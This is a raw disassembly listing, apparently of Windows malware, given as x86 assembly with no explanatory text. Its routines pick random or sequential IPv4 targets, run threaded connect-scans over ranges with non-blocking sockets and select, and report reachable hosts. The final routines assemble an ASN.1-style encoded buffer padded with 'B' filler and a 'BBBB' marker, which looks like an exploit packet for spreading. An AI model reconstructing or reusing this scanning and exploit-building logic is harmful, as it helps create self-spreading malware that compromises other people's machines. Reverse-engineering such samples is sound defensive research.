push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push [ebp+Src] ; Src
call _sscanf
add esp, 18h
cmp [ebp+var_C], esi
jnz short loc_40C304
call _rand
mov [ebp+var_C], eax
loc_40C304: ; CODE XREF: sub_40C2AF+4Bj
cmp [ebp+var_8], esi
jnz short loc_40C311
call _rand
mov [ebp+var_8], eax
loc_40C311: ; CODE XREF: sub_40C2AF+58j
cmp [ebp+var_4], esi
jnz short loc_40C31E
call _rand
mov [ebp+var_4], eax
loc_40C31E: ; CODE XREF: sub_40C2AF+65j
mov eax, [ebp+var_10]
cmp eax, esi
jnz short loc_40C32A
call _rand
loc_40C32A: ; CODE XREF: sub_40C2AF+74j
shl eax, 8
add eax, [ebp+var_4]
mov ecx, [ebp+var_C]
shl eax, 8
add eax, [ebp+var_8]
shl eax, 8
add eax, ecx
mov ecx, [ebp+arg_4]
mov dword_4CBB20[ecx*8], eax
loc_40C348: ; CODE XREF: sub_40C2AF+26j
pop esi
leave
retn
sub_40C2AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C34B proc near ; CODE XREF: sub_40BB65+59p
; sub_40C3E8+BBp ...
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 120h
push ebx
push esi
push edi
push 1
pop edi
xor ebx, ebx
push ebx
push edi
push 2
mov [ebp+var_4], edi
call dword_4CBA54 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_40C374
xor eax, eax
jmp short loc_40C3E3
; ---------------------------------------------------------------------------
loc_40C374: ; CODE XREF: sub_40C34B+23j
mov eax, [ebp+arg_0]
push [ebp+arg_4]
mov [ebp+var_1C], 2
mov [ebp+var_18], eax
call dword_4CB9D4 ; htons
mov [ebp+var_1A], ax
lea eax, [ebp+var_4]
push eax
push 8004667Eh
push esi
call dword_4CBA70 ; ioctlsocket
lea eax, [ebp+var_1C]
push 10h
push eax
push esi
call dword_4CB97C ; connect
mov eax, [ebp+arg_8]
mov [ebp+var_8], ebx
mov [ebp+var_C], eax
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_120]
push ebx
push eax
push ebx
push ebx
mov [ebp+var_11C], esi
mov [ebp+var_120], edi
call dword_4CB9BC ; select
push esi
mov edi, eax
call dword_4CBA6C ; closesocket
xor eax, eax
cmp edi, ebx
setnle al
loc_40C3E3: ; CODE XREF: sub_40C34B+27j
pop edi
pop esi
pop ebx
leave
retn
sub_40C34B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C3E8 proc near ; DATA XREF: sub_40C600+13Bo
var_2A8 = dword ptr -2A8h
Dest = byte ptr -28Ch
var_20C = dword ptr -20Ch
var_208 = byte ptr -208h
var_1F8 = byte ptr -1F8h
var_178 = byte ptr -178h
var_16C = dword ptr -16Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_15C = dword ptr -15Ch
var_158 = dword ptr -158h
Src = byte ptr -150h
var_140 = byte ptr -140h
Str = byte ptr -0C0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 28Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+Src]
rep movsd
mov esi, [ebp+var_2C]
mov dword ptr [eax+148h], 1
mov eax, [ebp+var_28]
mov [ebp+var_4], esi
mov [ebp+arg_0], eax
call ds:dword_4270B0 ; GetTickCount
push eax
call sub_41C2B8
mov ebx, esi
pop ecx
imul ebx, 234h
loc_40C42F: ; CODE XREF: sub_40C3E8+204j
mov eax, dword_43E914[ebx]
cmp dword_4CBB24[eax*8], 0
jz loc_40C5F1
cmp [ebp+var_10], 0
push eax ; Dst
jz short loc_40C459
lea eax, [ebp+Src]
push eax ; Src
call sub_40C2AF
pop ecx
jmp short loc_40C45E
; ---------------------------------------------------------------------------
loc_40C459: ; CODE XREF: sub_40C3E8+60j
call sub_40C267
loc_40C45E: ; CODE XREF: sub_40C3E8+6Fj
pop ecx
mov edi, eax
push [ebp+arg_0]
push dword_43E914[ebx]
push [ebp+var_3C]
push edi
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_431E64 ; "-"
push eax ; Dest
call _sprintf
add esp, 18h
lea eax, [ebp+Dest]
push eax ; Format
lea eax, dword_43E710[ebx]
push eax ; Dest
call _sprintf
push [ebp+var_38]
push [ebp+var_3C]
push edi
call sub_40C34B
add esp, 14h
cmp eax, 1
jnz loc_40C5E1
cmp [ebp+var_20], 0FFFFFFFFh
jnz short loc_40C535
push offset dword_4CDB20
call ds:dword_4270DC ; RtlEnterCriticalSection
push [ebp+var_3C]
push edi
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_431E3C ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+var_14], 0
jnz short loc_40C517
cmp [ebp+Str], 0
push 1 ; int
push [ebp+var_18] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+Str]
jnz short loc_40C50B
lea eax, [ebp+var_140]
loc_40C50B: ; CODE XREF: sub_40C3E8+11Bj
push eax ; Str
push [ebp+var_40] ; int
call sub_409869
add esp, 14h
loc_40C517: ; CODE XREF: sub_40C3E8+100j
lea eax, [ebp+Dest]
push eax
call sub_415D38
mov [esp+2A8h+var_2A8], offset dword_4CDB20
call ds:dword_4270D8 ; RtlLeaveCriticalSection
jmp loc_40C5E1
; ---------------------------------------------------------------------------
loc_40C535: ; CODE XREF: sub_40C3E8+D0j
push edi
call dword_4CBA60 ; inet_ntoa
push eax ; Format
lea eax, [ebp+var_208]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_20]
pop ecx
shl eax, 6
pop ecx
add eax, offset aSym ; "sym"
push eax ; Format
lea eax, [ebp+var_178]
push eax ; Dest
call _sprintf
cmp [ebp+Str], 0
pop ecx
pop ecx
lea eax, [ebp+Str]
jnz short loc_40C57A
lea eax, [ebp+var_140]
loc_40C57A: ; CODE XREF: sub_40C3E8+18Aj
push eax ; Format
lea eax, [ebp+var_1F8]
push eax ; Dest
call _sprintf
mov eax, [ebp+var_40]
pop ecx
mov [ebp+var_20C], eax
mov eax, [ebp+var_18]
pop ecx
mov [ebp+var_15C], eax
mov eax, [ebp+var_14]
sub esp, 0BCh
mov [ebp+var_158], eax
mov eax, [ebp+var_3C]
push 2Fh
mov [ebp+var_16C], eax
mov eax, [ebp+var_20]
pop ecx
mov [ebp+var_168], esi
mov [ebp+var_164], eax
lea esi, [ebp+var_20C]
mov edi, esp
shl eax, 6
rep movsd
call off_4317FC[eax]
mov esi, [ebp+var_4]
add esp, 0BCh
loc_40C5E1: ; CODE XREF: sub_40C3E8+C6j
; sub_40C3E8+148j
push 7D0h
call ds:dword_427080 ; Sleep
jmp loc_40C42F
; ---------------------------------------------------------------------------
loc_40C5F1: ; CODE XREF: sub_40C3E8+55j
push esi
call sub_40B6D6
pop ecx
push 0
call ds:dword_4270D4 ; ExitThread
sub_40C3E8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C600 proc near ; DATA XREF: sub_401ACD+1F2Ao
; sub_401ACD+5B7Ao
var_1DC = dword ptr -1DCh
Source = byte ptr -1CCh
var_14C = byte ptr -14Ch
Str = byte ptr -13Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1CCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 53h
mov esi, eax
pop ecx
lea edi, [ebp+var_14C]
push 1
pop ebx
rep movsd
mov [eax+144h], ebx
lea eax, [ebp+var_14C]
push eax
call dword_4CBA14 ; inet_addr
mov ecx, [ebp+var_2C]
sub esp, 14Ch
lea esi, [ebp+var_14C]
push 53h
mov dword_4CBB20[ecx*8], eax
pop ecx
mov edi, esp
rep movsd
call sub_40BD91
push 0Bh
call sub_40B602
add esp, 150h
cmp eax, ebx
jnz short loc_40C6CE
mov esi, offset dword_4CDB20
push esi
call ds:dword_4270E4 ; RtlDeleteCriticalSection
push 80000400h
push esi
call ds:dword_4270E0 ; InitializeCriticalSectionAndSpinCount
test eax, eax
jnz short loc_40C6CE
lea eax, [ebp+Source]
push offset asc_431F48 ; "-"
push eax ; Dest
call _sprintf
xor ebx, ebx
pop ecx
cmp [ebp+var_10], ebx
pop ecx
jnz short loc_40C6B8
push ebx ; int
lea eax, [ebp+Source]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_3C] ; int
call sub_409869
add esp, 14h
loc_40C6B8: ; CODE XREF: sub_40C600+99j
lea eax, [ebp+Source]
push eax
call sub_415D38
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
; ---------------------------------------------------------------------------
loc_40C6CE: ; CODE XREF: sub_40C600+63j
; sub_40C600+7Fj
mov eax, [ebp+var_2C]
mov esi, ds:dword_427080
mov edi, ebx
mov dword_4CBB24[eax*8], ebx
xor ebx, ebx
cmp [ebp+var_20], 1
jb loc_40C79B
loc_40C6EC: ; CODE XREF: sub_40C600+195j
push edi
lea eax, [ebp+var_14C]
push [ebp+var_2C]
mov [ebp+var_24], edi
push [ebp+var_38]
push eax
lea eax, [ebp+Source]
push offset asc_431F14 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+Source]
push 0Bh ; int
push eax ; Source
call sub_40B3BA
mov [ebp+var_28], eax
imul eax, 234h
mov ecx, [ebp+var_2C]
add esp, 24h
mov dword_43E914[eax], ecx
lea eax, [ebp+var_14C]
push ebx
push ebx
push eax
push offset sub_40C3E8
push ebx
push ebx
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_28]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40C766
loc_40C75B: ; CODE XREF: sub_40C600+164j
cmp [ebp+var_4], ebx
jnz short loc_40C78D
push 1Eh
call esi ; Sleep
jmp short loc_40C75B
; ---------------------------------------------------------------------------
loc_40C766: ; CODE XREF: sub_40C600+159j
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_431EDC ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Source]
push eax
call sub_415D38
add esp, 10h
loc_40C78D: ; CODE XREF: sub_40C600+15Ej
push 1Eh
call esi ; Sleep
inc edi
cmp edi, [ebp+var_20]
jbe loc_40C6EC
loc_40C79B: ; CODE XREF: sub_40C600+E6j
cmp [ebp+var_30], ebx
jz loc_40C845
mov eax, [ebp+var_30]
imul eax, 0EA60h
push eax
call esi ; Sleep
loc_40C7B0: ; CODE XREF: sub_40C600+250j
push [ebp+var_30]
mov eax, [ebp+var_2C]
push [ebp+var_38]
mov eax, dword_4CBB20[eax*8]
push eax
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Source]
push offset asc_431E9C ; "-"
push eax ; Dest
call _sprintf
add esp, 14h
cmp [ebp+var_10], ebx
jnz short loc_40C7FE
push ebx ; int
lea eax, [ebp+Source]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_3C] ; int
call sub_409869
add esp, 14h
loc_40C7FE: ; CODE XREF: sub_40C600+1DFj
lea eax, [ebp+Source]
push eax
call sub_415D38
mov eax, [ebp+var_2C]
mov [esp+1DCh+var_1DC], 0BB8h
mov dword_4CBB24[eax*8], ebx
call esi ; Sleep
push 0Bh
call sub_40B602
cmp eax, 1
pop ecx
jnz short loc_40C835
push offset dword_4CDB20
call ds:dword_4270E4 ; RtlDeleteCriticalSection
loc_40C835: ; CODE XREF: sub_40C600+228j
push [ebp+var_2C]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_40C845: ; CODE XREF: sub_40C600+19Ej
; sub_40C600+25Dj
mov eax, [ebp+var_2C]
cmp dword_4CBB24[eax*8], 1
jnz loc_40C7B0
push 7D0h
call esi ; Sleep
jmp short loc_40C845
sub_40C600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C85F proc near ; DATA XREF: sub_40C92C+7Bo
; sub_40CA1D+7Bo
var_BC = dword ptr -0BCh
Str = byte ptr -0B8h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
Dst = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0BCh
mov eax, [ebp+arg_0]
push esi
push edi
push 2Bh
pop ecx
mov esi, eax
lea edi, [ebp+var_BC]
push 1
rep movsd
pop esi
mov [eax+0A8h], esi
push 10h ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_38]
call dword_4CB9D4 ; htons
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_4CBA54 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40C91D
lea eax, [ebp+Dst]
push 10h
push eax
push esi
call dword_4CB97C ; connect
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_43E91C[ecx], esi
jz short loc_40C91D
push [ebp+var_38]
push [ebp+var_28]
call dword_4CBA60 ; inet_ntoa
push eax
mov edi, offset byte_4CE4E4
push offset asc_431F7C ; "-"
push edi ; Dest
call _sprintf
push 0 ; int
lea eax, [ebp+Str]
push [ebp+var_20] ; int
push edi ; int
push eax ; Str
push [ebp+var_BC] ; int
call sub_409869
push edi
call sub_415D38
add esp, 28h
loc_40C91D: ; CODE XREF: sub_40C85F+5Dj
; sub_40C85F+7Ej
push esi
call dword_4CBA6C ; closesocket
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_40C85F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
; int __cdecl sub_40C92C(int Dst)
sub_40C92C proc near ; DATA XREF: sub_401ACD+5F60o
Dest = byte ptr -134h
var_B4 = byte ptr -0B4h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
Src = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
Dst = dword ptr 8
push ebp
mov ebp, esp
sub esp, 134h
push ebx
mov ebx, [ebp+Dst]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B4]
rep movsd
mov esi, ds:dword_427080
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40C95A: ; CODE XREF: sub_40C92C+ECj
push [ebp+var_30]
push [ebp+Src]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_431FA4 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push 1FFh ; Count
push eax ; Source
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_43E710
push eax ; Dest
call _strncpy
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B4]
push edi
push eax
push offset sub_40C85F
push edi
push edi
call ds:dword_427084 ; CreateThread
cmp eax, edi
mov [ebp+var_4], eax
jz short loc_40C9C6
loc_40C9BB: ; CODE XREF: sub_40C92C+98j
cmp [ebp+var_C], edi
jnz short loc_40C9C6
push 32h
call esi ; Sleep
jmp short loc_40C9BB
; ---------------------------------------------------------------------------
loc_40C9C6: ; CODE XREF: sub_40C92C+8Dj
; sub_40C92C+92j
push [ebp+var_4]
call ds:dword_427070 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
lea eax, [ebp+Src]
push 4 ; Size
push eax ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call _memcpy
add esp, 0Ch
push [ebp+Dst]
call dword_4CB8FC ; htonl
inc eax
push eax
mov [ebp+Dst], eax
call dword_4CB9D0 ; htonl
mov [ebp+Dst], eax
lea eax, [ebp+Dst]
push 4 ; Size
push eax ; Src
lea eax, [ebp+Src]
push eax ; Dst
call _memcpy
add esp, 0Ch
jmp loc_40C95A
sub_40C92C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CA1D proc near ; DATA XREF: sub_401ACD+5C80o
Dest = byte ptr -130h
var_B0 = dword ptr -0B0h
Str = byte ptr -0ACh
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Bh
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, ds:dword_427080
mov dword ptr [ebx+0A4h], 1
xor edi, edi
loc_40CA4B: ; CODE XREF: sub_40CA1D+BCj
push [ebp+var_2C]
push [ebp+var_1C]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_431FF8 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push 1FFh ; Count
push eax ; Source
mov eax, [ebp+var_20]
imul eax, 234h
add eax, offset dword_43E710
push eax ; Dest
call _strncpy
add esp, 1Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
push offset sub_40C85F
push edi
push edi
call ds:dword_427084 ; CreateThread
cmp eax, edi
mov [ebp+arg_0], eax
jz short loc_40CAB7
loc_40CAAC: ; CODE XREF: sub_40CA1D+98j
cmp [ebp+var_8], edi
jnz short loc_40CAB7
push 32h
call esi ; Sleep
jmp short loc_40CAAC
; ---------------------------------------------------------------------------
loc_40CAB7: ; CODE XREF: sub_40CA1D+8Dj
; sub_40CA1D+92j
push [ebp+arg_0]
call ds:dword_427070 ; CloseHandle
push dword ptr [ebx+8Ch]
mov [ebx+0A8h], edi
call esi ; Sleep
mov eax, [ebp+var_2C]
cmp eax, [ebp+var_28]
jz short loc_40CADE
inc [ebp+var_2C]
jmp loc_40CA4B
; ---------------------------------------------------------------------------
loc_40CADE: ; CODE XREF: sub_40CA1D+B7j
push [ebp+var_1C]
call dword_4CBA60 ; inet_ntoa
push eax
lea eax, [ebp+Dest]
push offset asc_431FCC ; "-"
push eax ; Dest
call _sprintf
push edi ; int
lea eax, [ebp+Dest]
push [ebp+var_14] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_B0] ; int
call sub_409869
push [ebp+var_20]
call sub_40B6D6
add esp, 24h
xor eax, eax
pop edi
pop esi
pop ebx
leave
retn 4
sub_40CA1D endp
; =============== S U B R O U T I N E =======================================
sub_40CB2A proc near ; CODE XREF: sub_40CD9E+Ep
; sub_40CD9E+33p ...
mov eax, ecx
and dword ptr [eax+4], 0
and dword ptr [eax], 0
retn
sub_40CB2A endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40CB34(void *Src,size_t Size)
sub_40CB34 proc near ; CODE XREF: sub_40CD9E+11Ep
Src = dword ptr 4
Size = dword ptr 8
push ebx
mov ebx, [esp+4+Size]
push esi
push edi
mov esi, ecx
push ebx ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jz short loc_40CB66
push ebx ; Size
push 0 ; Val
push edi ; Dst
call _memset
push ebx ; Size
push [esp+1Ch+Src] ; Src
push edi ; Dst
call _memcpy
add esp, 18h
mov [esi+4], ebx
mov [esi], edi
loc_40CB66: ; CODE XREF: sub_40CB34+14j
mov eax, esi
pop edi
pop esi
pop ebx
retn 8
sub_40CB34 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_40CB6E(void *Src,size_t Size,int,int)
sub_40CB6E proc near ; CODE XREF: sub_40CC68+18p
; sub_40CCE2+16p ...
Src = dword ptr 8
Size = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
mov eax, [ebp+Size]
push ebx
mov ebx, ecx
push esi
mov ecx, [ebp+arg_C]
push edi
lea edi, [eax+ecx]
push edi ; Size
call _malloc
mov esi, eax
pop ecx
test esi, esi
jz short loc_40CBBA
push edi ; Size
push 0 ; Val
push esi ; Dst
call _memset
push [ebp+Size] ; Size
push [ebp+Src] ; Src
push esi ; Dst
call _memcpy
push [ebp+arg_C] ; Size
mov eax, [ebp+Size]
add eax, esi
push [ebp+arg_8] ; Src
push eax ; Dst
call _memcpy
add esp, 24h
mov [ebx+4], edi
mov [ebx], esi
loc_40CBBA: ; CODE XREF: sub_40CB6E+1Cj
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn 10h
sub_40CB6E endp
; =============== S U B R O U T I N E =======================================
sub_40CBC3 proc near ; CODE XREF: sub_40CC68+5Ep
; sub_40CC68+6Fp ...
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_40CBD3
push eax
call sub_41BA91
pop ecx
loc_40CBD3: ; CODE XREF: sub_40CBC3+7j
and dword ptr [esi+4], 0
and dword ptr [esi], 0
pop esi
retn
sub_40CBC3 endp
; =============== S U B R O U T I N E =======================================
sub_40CBDC proc near ; CODE XREF: sub_40CC68+20p
; sub_40CD43+8p ...
push ebx
push esi
mov esi, ecx
push edi
mov eax, [esi+4]
cmp eax, 0FFFFh
jge short loc_40CC09
xor ebx, ebx
cmp eax, 7Fh
setnl bl
dec ebx
and ebx, 0FFFFFFFEh
add ebx, 3
add eax, ebx
push eax ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CC0D
loc_40CC09: ; CODE XREF: sub_40CBDC+Dj
xor al, al
jmp short loc_40CC64
; ---------------------------------------------------------------------------
loc_40CC0D: ; CODE XREF: sub_40CBDC+2Bj
mov eax, ebx
add eax, [esi+4]
push eax ; Size
push 0 ; Val
push edi ; Dst
call _memset
add esp, 0Ch
cmp ebx, 1
jnz short loc_40CC32
mov al, [esi+4]
mov [edi], al
push dword ptr [esi+4]
lea eax, [edi+1]
push dword ptr [esi]
jmp short loc_40CC4C
; ---------------------------------------------------------------------------
loc_40CC32: ; CODE XREF: sub_40CBDC+45j
mov byte ptr [edi], 82h
mov eax, [esi+4]
sar eax, 8
mov [edi+1], al
mov al, [esi+4]
mov [edi+2], al
push dword ptr [esi+4] ; Size
lea eax, [edi+3]
push dword ptr [esi] ; Src
loc_40CC4C: ; CODE XREF: sub_40CBDC+54j
push eax ; Dst
call _memcpy
add esp, 0Ch
push dword ptr [esi]
call sub_41BA91
add [esi+4], ebx
pop ecx
mov [esi], edi
mov al, 1
loc_40CC64: ; CODE XREF: sub_40CBDC+2Fj
pop edi
pop esi
pop ebx
retn
sub_40CBDC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CC68 proc near ; CODE XREF: sub_40CD9E+89p
; sub_40CD9E+E3p ...
Src = dword ptr -8
Size = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push edi
lea ecx, [ebp+Src]
push dword ptr [esi+4] ; int
push dword ptr [esi] ; int
push 1 ; Size
push offset word_4CB88C ; Src
call sub_40CB6E
lea ecx, [ebp+Src]
call sub_40CBDC
mov eax, [ebp+Size]
inc eax
push eax ; Size
call _malloc
mov edi, eax
pop ecx
test edi, edi
jnz short loc_40CCA2
xor al, al
jmp short loc_40CCDE
; ---------------------------------------------------------------------------
loc_40CCA2: ; CODE XREF: sub_40CC68+34j
mov eax, [ebp+Size]
inc eax
push eax ; Size
push 0 ; Val
push edi ; Dst
call _memset
mov byte ptr [edi], 3
push [ebp+Size] ; Size
lea eax, [edi+1]
push [ebp+Src] ; Src
push eax ; Dst
call _memcpy
add esp, 18h
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+Size]
lea ecx, [ebp+Src]
inc eax
mov [esi], edi
mov [esi+4], eax
call sub_40CBC3
mov al, 1
loc_40CCDE: ; CODE XREF: sub_40CC68+38j
pop edi
pop esi
leave
retn
sub_40CC68 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCE2 proc near ; CODE XREF: sub_40CD16+14p
; sub_40CD33+8p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
push [ebp+arg_4] ; int
lea ecx, [ebp+var_8]
push [ebp+arg_0] ; int
push dword ptr [esi+4] ; Size
push dword ptr [esi] ; Src
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
pop esi
leave
retn 8
sub_40CCE2 endp
; =============== S U B R O U T I N E =======================================
; int __stdcall sub_40CD16(char *Str)
sub_40CD16 proc near ; CODE XREF: sub_40CD9E+F0p
; sub_40CD9E+15Bp ...
Str = dword ptr 4
push esi
mov esi, ecx
push [esp+4+Str] ; Str
call _strlen
pop ecx
push eax
mov ecx, esi
push [esp+8+Str]
call sub_40CCE2
pop esi
retn 4
sub_40CD16 endp
; =============== S U B R O U T I N E =======================================
sub_40CD33 proc near ; CODE XREF: sub_40CD7F+Bp
; sub_40CD9E+1A1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40CCE2
retn 8
sub_40CD33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD43 proc near ; CODE XREF: sub_40CD7F+16p
; sub_40CD9E+91p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, ecx
call sub_40CBDC
test al, al
jz short loc_40CD7C
push dword ptr [esi+4] ; int
lea ecx, [ebp+var_8]
push dword ptr [esi] ; int
push 1 ; Size
push offset asc_42CC80 ; "#"
call sub_40CB6E
mov ecx, esi
call sub_40CBC3
mov eax, [ebp+var_8]
mov [esi], eax
mov eax, [ebp+var_4]
mov [esi+4], eax
mov al, 1
loc_40CD7C: ; CODE XREF: sub_40CD43+Fj
pop esi
leave
retn
sub_40CD43 endp
; =============== S U B R O U T I N E =======================================
sub_40CD7F proc near ; CODE XREF: sub_40CD9E+134p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ecx
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_40CD33
test al, al
jz short loc_40CD9A
mov ecx, esi
call sub_40CD43
loc_40CD9A: ; CODE XREF: sub_40CD7F+12j
pop esi
retn 8
sub_40CD7F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CD9E proc near ; CODE XREF: .text:0040D625p
Dst = byte ptr -858h
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 858h
push ebx
push edi
lea ecx, [ebp+var_48]
call sub_40CB2A
mov edi, 408h
cmp [ebp+arg_8], edi
jg loc_40D0F2
mov ebx, [ebp+arg_10]
lea eax, [ebx+8]
cmp eax, edi
ja loc_40D0F2
push esi
lea ecx, [ebp+var_30]
call sub_40CB2A
lea ecx, [ebp+var_20]
call sub_40CB2A
lea ecx, [ebp+var_50]
call sub_40CB2A
lea ecx, [ebp+var_18]
call sub_40CB2A
lea ecx, [ebp+var_40]
call sub_40CB2A
lea ecx, [ebp+var_38]
call sub_40CB2A
lea ecx, [ebp+var_28]
call sub_40CB2A
push 4
push offset dword_432030
lea ecx, [ebp+var_30]
call sub_40CCE2
push 3
push offset dword_432038
lea ecx, [ebp+var_30]
call sub_40CCE2
lea ecx, [ebp+var_30]
call sub_40CC68
lea ecx, [ebp+var_30]
call sub_40CD43
mov esi, 800h
lea eax, [ebp+Dst]
push esi ; Size
push 42h ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea ecx, [ebp+var_20]
push 8
push offset aRbrbrbrb ; "BBBB"
call sub_40CCE2
push ebx
lea ecx, [ebp+var_20]
push [ebp+arg_C]
call sub_40CCE2
mov eax, 409h
lea ecx, [ebp+var_20]
sub eax, [ebp+var_1C]
push eax
lea eax, [ebp+Dst]
push eax
call sub_40CCE2
